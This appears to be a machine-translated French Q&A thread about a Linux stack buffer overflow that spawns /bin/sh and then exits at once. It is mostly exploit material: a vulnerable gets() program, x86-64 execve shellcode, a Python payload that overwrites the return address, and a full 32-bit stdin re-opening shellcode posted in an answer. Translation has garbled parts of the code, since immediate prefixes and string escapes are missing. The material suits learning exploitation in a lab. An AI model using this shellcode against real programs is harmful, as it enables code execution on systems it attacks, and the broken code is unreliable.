Shellcode pour un débordement simple de la pile: le programme exploité avec shell se termine directement après execve ("/bin/sh")
j'ai joué avec des dépassements de tampon sur Linux (amd64) et essayé d'exploiter un programme simple, mais il a échoué. J'ai désactivé les fonctionnalités de sécurité (randomisation de la mise en page de l'espace d'adresse avec le noyau sysctl-w).randomize_va_space=0 et NX bit dans le bios). Il saute sur la pile et exécute le shellcode, mais il ne démarre pas de shell. L'execve syscall réussit mais ensuite il se termine. Toute idée de ce qui est mal? L'exécution du shellcode autonome fonctionne très bien.
Bonus question: Pourquoi dois-je mettre rax à zéro avant d'appeler printf? (Voir le commentaire dans le code)
Vulnérables fichier tampon.s:
.data
.fmtsp:
.string "Stackpointer %pn"
.fmtjump:
.string "Jump to %pn"
.text
.global main
main:
push %rbp
mov %rsp, %rbp
sub 0, %rsp
# calling printf without setting rax
# to zero results in a segfault. why?
xor %rax, %rax
mov %rsp, %rsi
mov $.fmtsp, %rdi
call printf
mov %rsp, %rdi
call gets
xor %rax, %rax
mov $.fmtjump, %rdi
mov 8(%rbp), %rsi
call printf
xor %rax, %rax
leave
ret
shellcode.s
.text
.global main
main:
mov x68732f6e69622fff, %rbx
shr x8, %rbx
push %rbx
mov %rsp, %rdi
xor %rsi, %rsi
xor %rdx, %rdx
xor %rax, %rax
add x3b, %rax
syscall
exploit.py
shellcode = "x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xf6x48x31xd2x48x31xc0x48x83xc0x3bx0fx05"
stackpointer = "x7fxffxffxffxe3x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output
Compilé avec:
$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s
a commencé par:
$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328
débogage avec gdb:
$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash
Program exited normally.
2 réponses
J'ai à peu près le même problème en ce moment avec Ubuntu 9.10 dans une VM. Désactivé toutes les mesures de sécurité de L'OS, et les exploits simples comme "exit the program and set exit-code to 42" fonctionnent, mais en essayant d'ouvrir un shell, le programme se termine tout simplement. La sortie de gdb est identique:
(gdb) run < exploit.0xbffff3b8 Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8 Enter password: Sorry. Wrong password. Executing new program: /bin/bash Program exited normally. (gdb)
chose est, j'ai besoin de travailler dans environ. 16 heures pour une présentation :-D
mise à jour: J'ai trouvé cette étude soignée: www.shell-storm.org/papers/files/539.pdf
À la page 16, il est dit: "Si nous essayons d'exécuter un shell, il met fin immédiatement dans cette configuration"
dans d'autres exemples qui n'utilisent pas gets(), ils font très bien frayer un shell. Malheureusement, ils ne donnent pas une indication sur la raison pour laquelle cela ne fonctionne pas de cette façon. : (
Prochaine Mise À Jour: Il semble que ça ait à voir avec stdin. Le shell ne peut pas utiliser correctement celui qu'il obtient du processus original. J'ai essayé à l'aide d'un shell minimal j'ai trouvé le code source pour (evilsh). Il s'est écrasé au moment où il a essayé de lire l'entrée. Je pense que bash / dash vérifie pour ça et sort silencieusement quand quelque chose ne va pas avec stdin.
Ok s'il vous plaît ne me tuez pas pour avoir cette conversation avec moi-même ici, mais...
j'ai trouvé une solution!
Pour une raison quelconque, il est nécessaire de rouvrir les entrées. J'ai trouvé un shellcode fonctionnel ici:
http://www.milw0rm.com/shellcode/2040
je ne vois pas une invite difficile, mais je peux exécuter des programmes etc. l'utilisation de la coque qui s'ouvre.
le lien fourni par Zenoc est mort, mais peut encore être trouvé dans la machine de Wayback. Pour plus de commodité, je l'ai reproduit ci-dessous. J'ai eu à inclure add x10,%esp
en haut pour me donner plus d'espace de pile, comme tous les push
es dans le code a mangé dans le tampon où mon shellcode était stocké. Si vous souhaitez inclure que le shellcode trop, il suffit d'ajouter "\x83\xc4\x10" au début. Le shellcode est de 55 octets sans mon addition, et 58 avec.
/*
* $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
*
* gets-linux.c - stdin re-open shellcode for Linux/x86
* Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Local shellcode for stdin re-open and /bin/sh exec. It closes stdin
* descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
* Useful to exploit some gets() buffer overflows in an elegant way...
*/
/*
* close(0)
*
* 8049380: 31 c0 xor %eax,%eax
* 8049382: 31 db xor %ebx,%ebx
* 8049384: b0 06 mov x6,%al
* 8049386: cd 80 int x80
*
* open("/dev/tty", O_RDWR | ...)
*
* 8049388: 53 push %ebx
* 8049389: 68 2f 74 74 79 push x7974742f
* 804938e: 68 2f 64 65 76 push x7665642f
* 8049393: 89 e3 mov %esp,%ebx
* 8049395: 31 c9 xor %ecx,%ecx
* 8049397: 66 b9 12 27 mov x2712,%cx
* 804939b: b0 05 mov x5,%al
* 804939d: cd 80 int x80
*
* execve("/bin/sh", ["/bin/sh"], NULL)
*
* 804939f: 31 c0 xor %eax,%eax
* 80493a1: 50 push %eax
* 80493a2: 68 2f 2f 73 68 push x68732f2f
* 80493a7: 68 2f 62 69 6e push x6e69622f
* 80493ac: 89 e3 mov %esp,%ebx
* 80493ae: 50 push %eax
* 80493af: 53 push %ebx
* 80493b0: 89 e1 mov %esp,%ecx
* 80493b2: 99 cltd
* 80493b3: b0 0b mov xb,%al
* 80493b5: cd 80 int x80
*/
char sc[] =
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
main()
{
int (*f)() = (int (*)())sc; f();
}
// milw0rm.com [2006-07-20]
Note: je n'ai pas pu ajouter ceci comme un Modifiez la réponse de Zenoc parce que la file d'attente d'édition est pleine.
si vous avez de la difficulté à trouver l'adresse de votre shellcode en raison de empilements différents dans le terminal et gdb
, jetez un oeil à ma réponse ici.